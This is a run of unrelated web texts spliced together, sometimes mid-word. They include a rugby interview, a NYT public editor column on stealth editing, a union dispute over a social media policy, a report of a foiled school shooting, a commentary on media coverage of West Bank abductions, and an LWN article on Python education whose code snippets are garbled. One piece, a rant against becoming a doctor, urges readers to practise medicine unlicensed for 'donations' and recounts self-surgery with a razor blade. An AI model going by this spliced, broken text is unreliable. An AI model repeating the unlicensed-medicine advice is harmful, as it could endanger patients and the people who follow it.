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wouldn’t have played at the 2015 World Cup. I owe them a lot. The way they managed my body, in terms of conditioning and injuries, was outstanding. They worked me hard during the season, but there was also enough time to relax and spend some time away from the game.
‘In South Africa, players aren’t managed properly,’ Du Preez adds. ‘During my first year in Japan, I started to think about how far I could have gone in my career if I was managed in the right way.’
Did Japan play a role in shaping him into the tactical genius he is today? While he baulks at the description, Du Preez agrees that the stint in the Far East was crucial to his development.
‘It’s a very nice compliment, but I’m no genius. If I had to describe the way I’ve played, a lot of it has to do with experience. I’ve seen how to change the flow of the contest during the game and what the team needs to do to win games. People always talk about a Plan B or a Plan C, but it’s more about having a game plan that you can change during the contest. Adapt by attacking down a different channel, or kick behind them into space.
‘I’ve been fortunate that people have continued to back me throughout my career. I’ve never had a premeditated plan forced upon me. I respect the coaches for that. I’ve been allowed to do my own thing, and I’ve always done what I’ve felt is best for the team, on and off the field.
‘I’ve bumped a few heads with people because for me it comes down to what a team needs to do to get the result on the weekend. That’s just the way it is. As you get older, you see what’s working and the reason you’re winning. It’s about sticking to that.
‘After I met Eddie, I realised the game is always changing, so you have to adapt all the time. After 10 years in the Bulls’ system, to go to Japan and learn there are different and better ways to do things, was an eye-opener. It made me the player I am today.’
And for that, South African rugby should be grateful. While the recent World Cup didn’t culminate in a title for the Boks, it did witness Du Preez overcoming several challenges to regain his best form and add to his legacy.
DU PREEZ ON HIS SUCCESSOR
‘I hope coaches don’t make the same mistakes they made in the past. Whenever I was injured, they tried to get the next guy to play exactly like me. In future, they should decide on what’s best for that player and his particular skills. In terms of scrumhalf talent, South Africa has a few options. Rudy Paige is a very underrated player, Faf de Klerk has been playing good rugby, and even the youngster Ivan van Zyl at the Bulls could get a look-in before long. I didn’t watch much of the 2015 Currie Cup, so I didn’t see how Francois Hougaard fared. He’s one of the most talented players I’ve seen. I’m not sure about his plans [regarding the decision to focus on scrumhalf or wing], but if he can work on a few technical things, he can be an asset at No 9.’
– This article first appeared in the December 2015 issue of SA Rugby magazineMax Siedentopf is a car transformer. He pimps cars which, in his opinion need an upgrade. He sneaks up at dawn in the streets of Amsterdam and with a couple of euros tapes cardboards onto the cars. The add-ons recreate the design of race cars, low budget style.
It’s all thought through. All the major components, rear wings, side pods and front wings, help imitate a fancy expensive supercar. Max Siedentopf cannot get his head around the fact that in a world where personalization and self-expression is craved and sought after, cars are still so poor looking.
Car owners are usually like pet owners, proud and close to the subject they affectionate and take care of daily. They usually end up looking alike. Would this mean ugly looking cars have ugly looking owners? Thanks to Max Siedentopf, and if the owners keep their upgrade on, this will never be brought up anymore.Updated, 10:54 a.m., to add new observations based on reader response.
Bernie Sanders supporters have been unhappy with The Times in recent months, but it looked as if they were beginning to have their moment in the sun on Monday morning.
An article by Jennifer Steinhauer, published online, carried the headline “Bernie Sanders Scored Victories for Years via Legislative Side Doors.” It described the way the Vermont senator had managed a significant number of legislative victories in Congress despite the political independence that might have hindered him.
The article stayed in essentially that form for several hours online – with some very minor tweaks — but in the late afternoon, Times editors made significant changes to its tone and content, turning it from almost glowing to somewhat disparaging. The later headline read: “Via Legislative Side Doors, Bernie Sanders Won Modest Victories.”
And these two paragraphs were added:
But in his presidential campaign Mr. Sanders is trying to scale up those kinds of proposals as a national agenda, and there is little to draw from his small-ball legislative approach to suggest that he could succeed. Mr. Sanders is suddenly promising not just a few stars here and there, but the moon and a good part of the sun, from free college tuition paid for with giant tax hikes to a huge increase in government health care, which has made even liberal Democrats skeptical.
The changes didn’t go unnoticed. Following up on a post in Medium by a writer who goes by the handle The Broken Ravioli, Rolling Stone’s Matt Taibbi wrote a piece detailing changes made online to the article, moving it from glowing to lukewarm. Later, former Labor Secretary Robert Reich criticized The Times on Facebook, accusing it of caving in to Hillary Clinton interests.
Hundreds of Times readers expressed their disappointment or anger in emails to me on Tuesday and Wednesday, as well as on Twitter and Facebook. Many saw these changes as evidence that The Times strongly favors Mrs. Clinton’s candidacy. And some object to the practice of making substantial changes to articles without explaining that to readers – a practice sometimes called “stealth editing.”
Daniel Pereira of Alexandria, Va., wrote, “How in the world can the Times justify publishing a story and then, after it has been shared many times, changing parts of it wholesale to substantially change the tenor of the article, with no notice that a change had been made?”
And Sarae Pacetta of Upper Arlington, Ohio, wrote: “What goes into big changes like this? I’m familiar with corrections, but am curious about how an entire piece gets revised, especially with such a change in content.”
I asked top editors at The Times, along with Ms. Steinhauer and her immediate editor, for response. (The executive editor, Dean Baquet, also responded to Erik Wemple of The Washington Post on Tuesday night, and Ms. Steinhauer responded to the Rolling Stone piece. Both said, in essence, that the changes were routine efforts to add context to an evolving story.)
Ms. Steinhauer, in a response to my email, suggested that I speak to editors because “it was an editing decision.”
So, what happened here? Matt Purdy, a deputy executive editor, said that when senior editors read the piece after it was published online, they thought it needed more perspective about whether Mr. Sanders would be able to carry out his campaign agenda if he was elected president.
“I thought it should say more about his realistic chances” of doing that, Mr. Purdy told me. As first published, he said, editors believed that the article “didn’t approach that question.”
“There was a feeling that the story wasn’t written into this moment,” Mr. Purdy said. After the editing changes, he said, “it got to be a deeper story,” with greater context.
Three editors told me in no uncertain terms that the editing changes had not been made in response to complaints from the Clinton camp. Did the Clinton people even reach out?
“Not that I know of,” Mr. Baquet told me in an email. The article’s immediate editor, Michael Tackett, agreed: “There’s zero evidence of that.”
Everyone agrees that factual corrections have to be noted. As for editing changes in stories that are already up: I’ve written repeatedly that most do not need to be flagged to readers’ attention; doing that for scores of stories every day would be unwieldy.
But what about changes that affect the tone and substance of an article?
Three Times editors told me clearly that they don’t believe that was required here. These changes were “about nuance and depth,” Mr. Purdy said. In our conversation, Mr. Tackett referred to “the blessing and the curse of real-time capability,” and he said he made changes to developing stories every day.
Fair enough. But in this case, I don’t agree.
My take: The changes to this story were so substantive that a reader who saw the piece when it first went up might come away with a very different sense of Mr. Sanders’s legislative accomplishments than one who saw it hours later. (The Sanders campaign shared the initial story on social media; it’s hard to imagine it would have done that if the edited version had appeared first.)
Given the level of revision, transparency with the readers required that they be given some kind of heads-up, and even an explanation.
The Times has no workable way to do that kind of thing now. There are editor’s notes — but they are rarities, and therefore a big deal; they seem to be considered something to be avoided, if possible. But online stories elsewhere and blog posts everywhere routinely carry time stamps and notifications that a story was updated, often with an explanation of why. (Mathew Ingram of Fortune has offered some worthwhile thoughts about the value of this.)
So it can be done. And given the importance of reader trust in The Times’s credibility, the paper would do well to give some serious thought to how to do it here.
Update: A number of readers have made a point that I should have made earlier. The Sanders article was not a breaking news story, but rather a look back at his legislative record. Given its sensitivity and importance (it ended up on the front page on the morning of major primaries), why didn’t senior editors vet the story and make all the editing changes before it went online? Digital platforms, after all, are not a test run, and non-urgent stories don’t need to be pushed out as quickly as this one apparently was. I would also observe that the “context” added here looked a lot like plain-old opinion to this reader, and quite a few others.Union anger over 'draconian' social media policy for public servants
Updated
The union representing federal public servants has lodged an industrial dispute over the Department of Prime Minister and Cabinet's new social media policy.
The new guidelines prevent public servants from posting comments critical of the Federal Government and include a clause instructing employees to report colleagues who break the code of conduct.
It comes after a case involving an Immigration Department employee who was sacked after posting comments critical of the Government's asylum seeker policies.
Michaela Banerji used the twitter handle @LaLegale to post comments to followers about politicians and immigration policies.
Community and Public Sector Union national secretary Nadine Flood says the latest changes are draconian and come with no consultation.
"We're talking about the public service not a police state," she said.
"We believe that public sector workers should have the same rights as other Australians to engage in online debate particularly when it is in their own time and they're not saying they speak for government.
"This policy could mean a public servant breaches the rules if they go to a political rally on the weekend and someone puts their photo on Facebook. It's just over the top."
The union says the failure to consult with staff and unions over the changes is a clear breach of the enterprise agreement.
Ms Flood says many public servants are concerned about the reach of the guidelines.
"This is a genuine industrial issue for workers who are worried that they might face the sack for some pretty innocuous behaviour that is the same stuff that every other Australian might do on social media on the weekend," she said.
The union wants to sit down with the department to resolve the matter, but says it is willing to take the dispute to the Fair Work Commission if necessary.
Topics: public-sector, federal-government, canberra-2600, act
First postedYou don’t want to be a doctor.
This is *the worst* time in known history to attend 8 years of additional corporate-sponsored brainwashing. That you pay a quarter mil for. That is called debt slavery and you’re walking straight into it. No, you’re on your knees before several department chairs and deans, begging to be screwed over and pay handsomely for the privilege. If you come from the wrong family, this is documented for your “superiors” to see, and you’ll be doing all that begging for nothing.
Still want to? Must be nice to have that kind of financial security. You’re the 5%.
I’ve seen the inside of them schools. The attendings are lame yet arrogant, the students are dull yet condescending. Of course, the one’s who say “aww just call me Joe” will expect a medal. Any iota of self-effacement on their part will require as much.
Still? Oh, so helping people.
You know how the docs at a hospital figure out how to help people? The run behind the curtain and look it up on the internet. It stands to reason that one could attain a full medical education with nothing but the internet and some…what’s it called in the medical field? Practice.
Ex: a had this doctor buddy and I asked him to excise a cyst on my knee. He refused because he was too chicken to grab a scalpel from the OR. What kind of professional are you when you can’t just walk up and borrow a tool from your theater? You’re a lapdog professional who’s an inch away from having to ask to use the toilet. Anyway, I cut the thing out myself with a razor blade. Wasn’t hard.
If you STILL want to be a doctor, maybe think about what a doctor is really supposed to be. What we call a doc today is actually just a body technician and drug dealer. It’s *too* funny to hear the white coated golden kids ragging on patients for drug seeking behavior when MDs are known raging pharma addicts. Opiates, benzos, propofol (..!?..), the works.
I have an idea. Study on the internet, put up an ad calling yourself a doctor, and make house calls in exchange for “donations”. Then you’ll have the main perk- people calling you
(*regal voice*) DAHC-torrrr! (!!qq1Q!!!!!!!)
AND you’ll be an actual healer, out there with yer little bag of tricks, visiting babies and old people with the flu, mostly hooking up IVs and listening to patients tell you about their health troubles. Plus, if you “don’t charge”, no one can indict or sue you for it. People accidentally called me doctor constantly when working around clinics, and anyone with a shred of intuition could easily just roll with that shit and far and away be a better doc to people than a whitecoat.
“But the law….” was made to be broken.
Or! You can “play the game”, get that shiny title, and be absolutely and utterly miserable and generally an annoying person who is now a slave to the university scam complex for life. While pretending you did it all to help people and knowing that no one believes you. You’ll cover yourself in superiority complex to combat that, and then the emperor will be naked on top of it all.
Don’t be a “doctor”. There are already people on the outside undercutting the med establishment and doing better in business for it. Am I talking about alt med? No, I’m talking about med-med. The alt med is what they do in clinics and hospitals. Be an independent scholar, a renaissance person, and a healer. You’ll have no school debt and won’t feel like you’re just saving face the rest of your life.
Still want to? Are your family members who are all 57 of them MDs/DOs putting you up to this, either directly or by years of repeated insinuation?
NOT LET OTHER PEOPLE’S BOGUS ASSESSMENTS OF WHAT YOU SHOULD DO IN LIFE STEER YOU TOWARD TOTAL AND COMPLETE PERSONAL RUIN. You are too smart for that.
Don’t be a doctor.Israeli soldiers raid a Palestinian home in the town of Halhul, near the occupied West Bank city of Hebron, 16 June. Oren Ziv ActiveStills
In the first ten days of June, seventeen teenage boys were abducted in the occupied West Bank. The youngest was thirteen, the oldest seventeen.
Some were dragged at gunpoint from their homes and family in the middle of the night; others were seized from the streets in broad daylight.
All of the abductions were documented by the Palestinian Monitoring Group. None were reported by the international media. No Western politicians called for the release of the boys.
On 12 June, three more teenage boys went missing in the West Bank. Their disappearance sparked worldwide media coverage, cries of terrorism and demands for their release by the US Secretary of State and the UK Foreign Secretary.
Those three are Israeli. The seventeen others are Palestinian.
And, if the case of Israeli soldier Gilad Shalit, taken by Palestinian forces in Gaza in 2006 and released in 2011, is any indication, Western interest in the case of these three Israelis will not wane until they are found.
Black hole
Conversely, the seventeen Palestinian boys seized by heavily armed Israeli soldiers will disappear into the same silent black hole as all the other Palestinian children taken on an almost daily basis by the occupation forces.
Some will be detained for days, weeks, or months, beaten, interrogated and then released. Others, however young, will find themselves put through Israel’s military courts and jailed, often on the basis of coerced confessions.
According to the rights group Addameer, there are currently approximately two hundred Palestinian children being held in Israeli jails. Some of those children will suffer periods in solitary confinement; all are at risk of physical abuse amounting to torture.
If their plight is anything to go by, the seventeen Palestinian youngsters taken by the Israeli army at the beginning of June will merit not a word spoken or written about them by the same journalists now eager to tell the world about the disappearance of three Israeli teenagers.
If children and teenagers disappear in the West Bank as a result of the occupation, it should be reported, whether those youngsters are Palestinian or Israeli. But, in the highly selective Western media reporting on Israel’s occupation, Israeli suffering always trumps that of Palestinians.
Since the disappearance of the three Israelis last week, the Palestinian town of Hebron has been held under siege by the Israeli army, up to 1,000 soldiers have been going door to door in towns and refugee camps across the West Bank searching and ransacking civilian homes, two hundred Palestinians have been taken into detention, a twenty-year-old Palestinian has been shot dead, and the Israeli government has been threatening the forcible transfer of some West Bank Palestinians to Gaza for supporting Hamas.
This is the degree of control that Israel exerts over Palestinian lives. But that control seems to be so accepted, or ignored, by Western media that there has been next to no comment on Israel’s actions, and the illegality of them, over the last five days. The sole focus is on the Israeli teenagers, with scarce journalistic attention left over for the collective punishment being meted out to thousands of Palestinians by a country which calls itself democratic.
No Palestinian mothers
The case illustrates starkly the difference in the attitude of Western media towards Israelis and Palestinians, an attitude exemplified by the BBC.
BBC news bulletins have carried regular updates on the missing Israelis, and backed them up with online stories. In one online article, headlined “Israel accuses Hamas of abducting missing teenagers,” an embedded video features the mother of one of the Israelis talking about her wish for his safe return.
While BBC audiences have been made well aware of his situation and that of his two friends, they remain in the dark about the Palestinian children and teenagers regularly abducted by Israeli soldiers.
BBC reporting also shields them from the frequency with which Palestinian children and youth are killed by Israeli forces.
There were no BBC reports on the killing of 14-year-old Yussef Shawamreh, shot in the back and hip while gathering thistles in March, or of 18-year-old Saji Darwish, shot in the head as he tended his goats that same month. The killing of seven-year-old Ali al-Awwar in an Israeli missile strike on Gaza last week also fails to warrant a report. There are no embedded video interviews with the mothers of Yussef, Saji or Ali, mourning the permanent loss of their sons.
In response to questioning by Palestine Solidarity Campaign about the failure to report on the killing of Palestinian children by Israeli forces, the BBC responded: “There is no mandate to report every killing.” Would BBC editors have felt the same way if seven-year-old and fourteen-year-old Israeli children had been killed by Palestinians?
Media’s cloak of silence
The last few days have highlighted the extremely narrow framework, not just of the BBC’s reporting on the occupation, but of the Western mainstream media as a whole.
More than 5,000 Palestinians are currently held in Israeli jails, where torture has been documented by organizations including Amnesty International. Approximately two hundred are incarcerated without ever having been charged or tried for a crime, for indefinite periods of time, under a system known as administrative detention, according to Addameer. And more than two hundred have been on hunger strike since April in protest of Israel’s use of administrative detention. The BBC’s response to the mass hunger strike, now in its second month, and Israel’s attempts to rush through legislation allowing force-feeding, has been silence.
The same silence cloaks house demolitions (15,000 Palestinian homes demolished by Israel since 1993), the destruction of entire communities, with Palestinian villages being bulldozed both in the West Bank and within present-day Israel, the killing of Palestinian children (1,405 killed by Israel since 2000), the denial of sufficient water for drinking, washing, cooking to Palestinians in both Gaza and the West Bank, and the true effects of the siege on Gaza which denies Palestinians everything from essential medicines to electricity.
The list goes on and on. How many consumers of mainstream news reports in the West know any of this? How many know that Israel’s apartheid wall in the West Bank is more than twice as high and four times as long as the Berlin Wall that we all in the West were taught to loathe? How many know that the Palestinians had their country seized from them in 1948, that Israel was created on that stolen land, and the total lack of justice or reparations since then, coupled with ongoing brutal military occupation, has led to this present situation?
The number will be as limited as the mainstream news reporting that keeps them in the dark. Their lack of knowledge will display in a total lack of understanding of Israel’s occupation and its devastating impact on every aspect of Palestinian life.
These are the audiences created by Western mainstream journalists, with the kind of selective reporting we’ve witnessed this week, audiences whose ignorance can only be to the detriment of Palestinians and to the benefit of Israel.MONKTON, Md. (AP) - Baltimore County police say they've disrupted plans by a 16-year-old boy to shoot people at his school.
Police say the boy had been suspected of stealing from three vehicles on Saturday. When police interviewed him at his Monkton home, police say he told officers that he was planning to bring a handgun and two homemade explosives to George Washington Carver Center for Arts and Technology, where he's a 10th-grader. Police say the boy told investigators "he wanted to kill people."
Police recovered a handgun and three crude, homemade explosives at the boy's home.
The boy was sent for an emergency psychiatric evaluation and is being held at a juvenile detention facility. Police say he faces several juvenile charges. Police don't believe anyone else was involved in the school shooting plans.LWN.net Weekly Edition for July 30, 2015
In a keynote on day four of EuroPython 2015 in Bilbao, Spain, Carrie Anne Philbin looked at using Python in computer education for children. She covered some of the background on a new curriculum that has been established in England and on why Python fits well into that curriculum. She also talked about using the Raspberry Pi as a platform for that teaching and at some of the challenges in using Python in the classroom.
Philbin considers herself an educator foremost and was a teacher at the time she started out working with the Raspberry Pi and Python. She now works for the Raspberry Pi Foundation, which is a registered educational charity. All of the profits from selling Raspberry Pi hardware go to the foundation, which was set up to advance the education of adults and children in computers and computer science.
Her journey
Her journey started in the classroom where she was teaching an "information and communications technology" (ICT) class. In 2010 or 2011, Google's Eric Schmidt had made a speech in the UK (her home) where he said that UK computer science education was really bad and that it was being taught the wrong way. That was picked up by the media and was turned into a statement that all of the ICT teachers in the UK were terrible.
That was depressing to her, so she started thinking about ways to bring some of the new thinking about computer education into her classroom. She heard about the Raspberry Pi and tried to get one on the first day it was out, which was unsuccessful for her as it was for many. She did eventually get one two months later, plugged it in, and saw that it was simply a Linux computer, which was not anything new or exciting to her.
But she still saw it as a tool for teaching about computers, so to try to find ways to use it in her classroom, she decided to attend a nearby Raspberry Jam that was being held at the Mozilla Space in London. It was attended by fifty men and three women; all of the women were teachers. There were lots of "geeky projects" that were presented at the meeting, but she didn't see anything that she could bring into her classroom.
She eventually had the opportunity to address the meeting, so she explained that she was a teacher and that she wanted to bring the Pi into the classroom. The projects she saw might not inspire students, she said, and in particular might not inspire girls. That elicited a heckling response from one attendee who suggested that maybe she would need to program the device to go shopping or organize sleepovers in order to attract girls.
That was a "terrible experience" (also recounted here), but once she returned to her seat "something really amazing happened". Ten different people came up to her and told her to ignore the heckler, that they had ideas for projects that would inspire students both male and female, and that they wanted to help. From there, everything started to snowball. She "kind of just took over" the education track at the next PyCon UK and she now serves on the board of the Python Software Foundation.
In September 2014, a new computing curriculum for England was announced. From the age of five, children will learn to program and from eleven, they will learn at least two programming languages, at least one of them text-based. Unfortunately, the government only put an additional £3.5 million toward the effort, which works out to about £175 per school. That is not really a useful amount of money for training and the like.
England is something of a pioneer in requiring computer education. Israel has long had computers as part of its curriculum. Estonia, Australia, and New Zealand have recently added the subject. Some Scandinavian countries look like they may doing so in the near future. That's it, she said.
Why teach computing?
Philbin asked, why teach computing? There are a number of reasons to do so. To start with, children are creative and imaginative; they are also not afraid of failure. Educators actually train that out of them along the way. Children will also tinker with things, which is how we all learn.
Another reason is for social mobility. Most people with jobs in computer science have come from affluent backgrounds. Programming is also empowering. It makes people feel good about themselves and what they can accomplish. Bringing more diversity into the technical fields is also a reason for teaching about computers. Only 16% of IT workers in the UK (and 20% in the US) are women. Those who are creating technology are not representative of those who are using it.
The final and most important reason is shown in a video called "Humans Need Not Apply". Many things will become automated over time, including tasks for people like supermarket clerks or baristas. In addition, technology such as self-driving vehicles has the potential to put a lot of people out of a job, including taxi and lorry (truck) drivers, when it becomes legal. So the goal is to train today's children to be able to program or fix these machines.
But the focus is shifting from "why?" to "how?". The visual programming language Scratch is an easy win for young children, but eleven-year-olds need to learn a text-based language. So people started having a look at Python, she said.
Why Python?
There are good reasons to look at Python for education. It is used all over the world and is powerful enough to be used for real development. It is actually used in the real world by organizations like NASA, for example. It has a simple syntax; by comparison, writing "hello world" in Java takes six lines of code.
Probably the most important reason for educators, though, is the community. Python has a strong and helpful community. Raspberry Pi has a great community, too, she said, but Python's tops it. It is not just national and international communities that are the big draw; it is the local communities that really make Python special.
Python conferences have also taken up the cause of using the language in education. PyCon UK has had an educational track for the last eight years. This year, there were 40 teachers at PyCon UK. If you build it, they will start to come along, she said.
PyCon 2015 in Montréal had an educational track. There is an educational summit at this year's EuroPython; she was headed to PyCon Australia soon, which will also have an educational track. She suggested that conferences should try to help teachers by starting these tracks. They may not come the first year, which would be sad, but they will see and start coming.
Barriers
There are some significant barriers to students trying to learn Python, however. To start with, it is a struggle to move from Scratch to Python. The Raspberry Pi Foundation is trying to overcome some of that difficulty with a game called Pyland. Python 2 versus Python 3 is also a problem, but it really shouldn't be. There is no reason not to just teach Python 3. All of the foundation's resources are written in Python 3 and most major libraries are available for that version.
There are a number of naming issues that make Python difficult for children, she said. People write libraries for themselves and are not always consistent with the names they choose. She mentioned the general-purpose I/O (GPIO) library for Raspberry Pi as an example. It was written by a UK brewer to regulate the temperature in his brewery. That library is now used in education all over the world. Like other Python libraries, it has inconsistencies that make it hard for students.
Another problem stems from children saving their program with the same name as the library they are using. It may seem obvious to everyone in the room that naming your program that uses the pycamera library pycamera.py will not lead to happiness, but she has done it herself. When she did, there were five Python developers trying to help her figure out the problem and it actually took some time to do so.
Another example is the module for Minecraft. It is a real hook for children; it "kind of blows their mind" that you can build things in Minecraft by writing a program. But even the first line of a program causes problems:
from mcpi.minecraft import Minecraft
setPos()
mc_teleport
The capital letter often trips them up and children are impatient. In addition, thefunction's name is not all that helpful. In Ruby, for example, the function is called, which is much more obvious.
Another snippet of Minecraft code shows additional problems:
glass = block.GLASS.id mc.setBlock(40, 50, 60, glass)
mc_set_block :glass, 40, 50, 60
That is long-winded, and has the capital letters to deal with. By contrast, in Ruby it is simpler:"Please think about children when naming things", Philbin said.
Pygame is a great library for children, but it is difficult to use in the classroom. There are a lot of concepts that need to be explained before you can start doing anything with it. That makes it hard to teach in an hour-long class. Daniel Pope came up with Pygame Zero to help bridge that gap. It simplifies Pygame by providing a runtime so that students don't need to understand game loops, event queues, and other concepts right away. That means a simple program that actually does something can be taught in a bite-sized lesson. It does make some decisions for you, she said, but you shouldn't be afraid to do that for children.
Adding extra libraries is another hurdle. It is easy to do it on one computer, but not for 30 or 50—or for Raspberry Pi devices. For one thing, school computers tend to be behind firewalls or filtering software that can make it difficult to simply access the extra libraries. She and Pope have been discussing an "education bundle" that would gather up useful libraries (e.g. Pygame Zero, NumPy) into a single package to help with that problem.
IDEs
Finally, there is the problem of a Python integrated development environment (IDE) for children. Finding programming interfaces for children is difficult. She asked how many in the audience used the Python-included IDLE as their IDE and got two or three hands out of more than 500. Being bundled with Python is a big advantage for IDLE, since it will always be available, whether there is internet connectivity or not.
She noted that her school was not able to upgrade to the newest version of Scratch because you needed to sign up online to get it. At her school, the internet was slow and firewalled. There are lots of online resources and IDEs for Python, but those won't work for children and schools that don't have access (or have restricted access) to the internet.
One offline option is the PyCharm Educational Edition, which is free and open, but it is not obvious how to use it. It is great for children sixteen or older, but won't work for those who are younger. There are too many buttons and too much setup required. There needs to be an simpler open solution.
IDLE is one option. It does come with simple syntax highlighting and some auto-indentation. But it runs in two separate windows, which is confusing. Adding a Minecraft window just makes that worse. In addition, the error reporting in IDLE is "atrocious", she said.
She showed a picture of the interface for an educational program developed by Dr. Sam Aaron called Sonic Pi. It is a synthesizer that can be live-coded to create various kinds of sounds and music. She apologized because it is written in Ruby, but it is a good example of a nice interface for students.
In Sonic Pi there is a button for "Run" and one for "Stop". There is a way to make the text smaller and larger (which is needed in IDLE). It has line numbers and its windows are all together as panes in a larger window. There is an inbuilt tutorial and it has a button to align the Ruby code. She wondered why there can't be something like that for Python.
Helping out
There are plenty of ways for those interested to help, Philbin said. Meeting with educators, talking with them, and listening to their problems is one way. Adding education tracks to conferences is another. Having a special education session at a local user group would be helpful, as would mentoring a teacher so they have someone to turn to with questions. In addition, creating and contributing "awesome libraries" (which have a consistent API) would be quite helpful.
There is a new Python education workgroup that is getting started. The intent is to "make some things happen", like making IDLE better, for example. The group needs any help people can bring to its mailing list. She would like to see the group set some specific goals before she tries to get recognition from the PSF board.
Ever the teacher, Philbin gave out some homework at the end of her talk. First was to join the workgroup mailing list. Second was to read and contribute to Al Sweigart's IDLE Reimagined project. Last was to read Nicholas Tollervey's Python in Education book, which is available as a free ebook. All of the homework is due by EuroPython 2016 (which will also be held in Bilbao). "I will be checking", she said with a laugh.
There is a danger that writing code will become an educational fad and that visual programming (with languages like Scratch) will dominate. "Please help make sure that doesn't happen". She firmly believes that code should be part of the curriculum and that it should be done with Python. If that doesn't happen, JavaScript could take over instead.
Computer education could change society in a positive way, she said. When the Raspberry Pi generation grows up in 20 years, they will not all be developers, certainly. But they could all benefit from the problem-solving skills that learning programming will provide.
Comments (12 posted)
MyPaint is a free-software painting program that provides a minimalist user interface optimized for use with pressure-sensitive graphics tablets. The project recently released the first beta builds of its upcoming 1.2 series. This update makes a number of noteworthy changes, including support for vector-graphics layers, new tools, and support for color palettes that emulate the traditional mixing of paints rather than the RGB model used in most computer graphics formats.
The beta release was made on July 22. Source is available through GitHub and there is a personal package archive (PPA) for Ubuntu. Both of these constitute recent changes in the project's infrastructure—it has only recently migrated its repositories to GitHub, and previous releases did not include an Ubuntu PPA. The transition from the old infrastructure to GitHub is not entirely complete, however: one is likely to find many confusing links to earlier MyPaint sites (such as mypaint.org) that are redirected back to GitHub—and not always to the correct destination. This makes looking up documentation particularly difficult, as the GitHub wiki does not yet appear to include everything that was available at the old site. On the plus side, the team |
ev., on Capitol Hill in Washington Sept. 9, 2014. Dreamers, undocumented immigrants who came to the United States as children, are upset with President Barack Obama's decision to not act on immigration reform until after Novermber's midterm elections. (J. Scott Applewhite/AP)
Less than a month after President Obama announced he would delay using his executive authority to reform immigration laws, there is evidence that the decision is doing exactly what he hoped to avoid: hurting Democrats.
Activists in key states say it is increasingly difficult to register would-be Latino voters who would vote for Democrats because of unhappiness over the decision. Poll numbers for Obama and Democrats have also dropped further among Hispanics than the population at large. One group has even launched a campaign against four Democratic senators who backed a GOP proposal to bar Obama from taking any executive action on immigration.
“The president has not helped us,” said activist Leo Murrieta, 28, who is working to register Latino voters in Colorado for Mi Familia Vota. “People are disappointed. They wanted action, they wanted activity, they wanted movement.”
With so many congressional and gubernatorial candidates locked in close races this year, Democrats can’t afford to show signs of complacency or sagging support. But Murrieta and others believe that only action — not promises of action — will help spur increased turnout among Hispanics with just five weeks until Election Day.
Appearing Thursday night at a gala hosted by the Congressional Hispanic Caucus Institute, Obama said he will use his executive authority to revamp the nation’s immigration policy sometime between Election Day and before the end of the year.
“If anybody wants to know where my heart is or whether I want to have this fight, let me put those questions to rest right now: I am not going to give up on this fight until it gets done,” he said.
Obama also urged Hispanic lawmakers and activists in the crowd to works to ensure a record Latino voter turnout this year.
“Sí se puede si votamos — yes we can if we vote,” he said in Spanish and English.
“What happened to change we can believe in?” a young heckler shouted at Obama as she was escorted from the hall.
Inside the room, Obama was speaking to some of the lawmakers most upset by his decision to wait.
“We would not wait until after November if it was an issue affecting the gay and lesbian community,” Rep. Luis V. Gutierrez (D-Ill.), a critic of Obama’s work on immigration, said at the conference Wednesday afternoon. “If this was about women’s reproductive rights, if this was about the minimum wage, if this was about a series of other issues, the Democratic Party would come together.”
Rep. Joaquin Castro (D-Tex.) said he’s found widespread frustration. “A lot of people understand there’s a political calculation, but those same people understand there’s a lot of people suffering because he didn't act,” he said in an interview.
Labor Secretary Tom Perez, who is under consideration to be Obama’s next attorney general, sought to reassure conference attendees Wednesday. But his message fell flat.
“The question of executive action, my friends, is a ‘when?’ question,” Perez said. Immigration, he added later, “is all about his values and his leadership. And that’s why I love working for this president.”
It’s the kind of line that might earn a response from a friendly crowd — but nobody in the room applauded.
Obama was already suffering from gradual disenchantment among Hispanics before he made his decision last month to delay action on immigration. In a Washington Post-ABC News poll last July, Obama had a 68 percent approval rating among Hispanics for his handling of immigration. By September, that number had dropped to 42 percent.
From 2012 to 2013, Obama went from 75 percent approval to 52 percent among Hispanics in national Gallup polls; he’s at 48 percent among Hispanics in the group’s most recent approval tracking this month.
Maria Teresa Kumar, president of Voto Latino, a nonpartisan group seeking to register young Hispanic voters, told conference attendees that despite any misgivings, Latinos need to turn out this year in record numbers to remind Obama, his party and Republicans that they want the immigration issue settled.
“Until we try to actually recognize that our number one initiative is to organize each other... we’re always going to be left behind,” she said. “And it gets to a point that it’s no longer anyone’s fault but our own.”
But far beyond Washington, activists are struggling to convince skeptics.
On a busy day, Murrieta and his team fan out to find would-be voters at grocery stores, elementary schools and bus stops in Denver and Pueblo, Colo. Murrieta said the typical number of sign-ups has plummeted from maybe a dozen a day before Obama’s decision to as few as three a day now.
“Less people are willing to talk about elections,” he said. “We’ve just had to get more creative and really find ways to talk about the issues and the elections.”
There’s similar resistance in Arizona, said Raquel Teran, who leads a team of 35 scouring the Phoenix and Tucson areas for new voters.
If Obama “would have acted before the election absolutely it would have been easier,” she said. “A lot of the Latino community are watching how the debate is advancing and there would be energy.”
Some activists are also encouraging Latinos to skip voting in a key contest: their U.S. Senate race.
Presente.org, a Los Angeles-based Latino rights group claiming 250,000 members nationwide, is encouraging followers in four states to skip voting to reelect Democratic Sens. Mark Pryor (Ark.), Mary Landrieu (La.), Jeanne Shaheen (N.H.) and Kay Hagan (N.C.). Those states have about 353,000 eligible Latino voters — a small number, but a potentially critical bloc of support in close races.
All four senators, along with Sen. Joe Manchin III (D-W. Va.), voted last month on what Republicans cast as an attempt to roll back Obama’s program giving temporary legal status to hundreds of thousands of children of illegal immigrants. They did so under pressure from their GOP opponents.
Presente — which specializes in using social media and text messaging to rally supporters — is using microtargeted Facebook ads to tell members in Arkansas, Louisiana, New Hampshire and North Carolina that the senators voted with Republicans “in an effort to derail President Obama’s executive action that would provide relief for immigrants.”
“By no means are we saying vote Republican, we’re simply saying that on that item on the ballot, skip it,” said Arturo Carmona, executive director of Presente. Instead of voting in the Senate race, “There are a lot of other important items on the ballot that they should pay attention to,” he said.
Representatives of the Democratic campaigns did not respond to requests for comment. Other activists suggested the boycott would have little, if any, impact.
“It’s not going to work. It’s being a little disingenuous and insulting,” said Ben Monterroso, executive director of Mi Familia Vota.
Castro said that if voters express any doubts about Obama or Democrats, he tells them: “The chances of passing comprehensive immigration reform if Republicans take over the Senate are even more slim than they are now.”
Katie Zezima and Peyton Craighill contributed to this report.Advertisement
1. Drafted Media Source He's shipping out tonight. Someone has to defend us from the Burning Legion.
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2. Your Job is in Another Castle Media Source This programmer went the extra mile and modded Super Mario Bros. to display his classy resignation letter to his bosses. We're sure they're going to miss having someone so creative on staff.
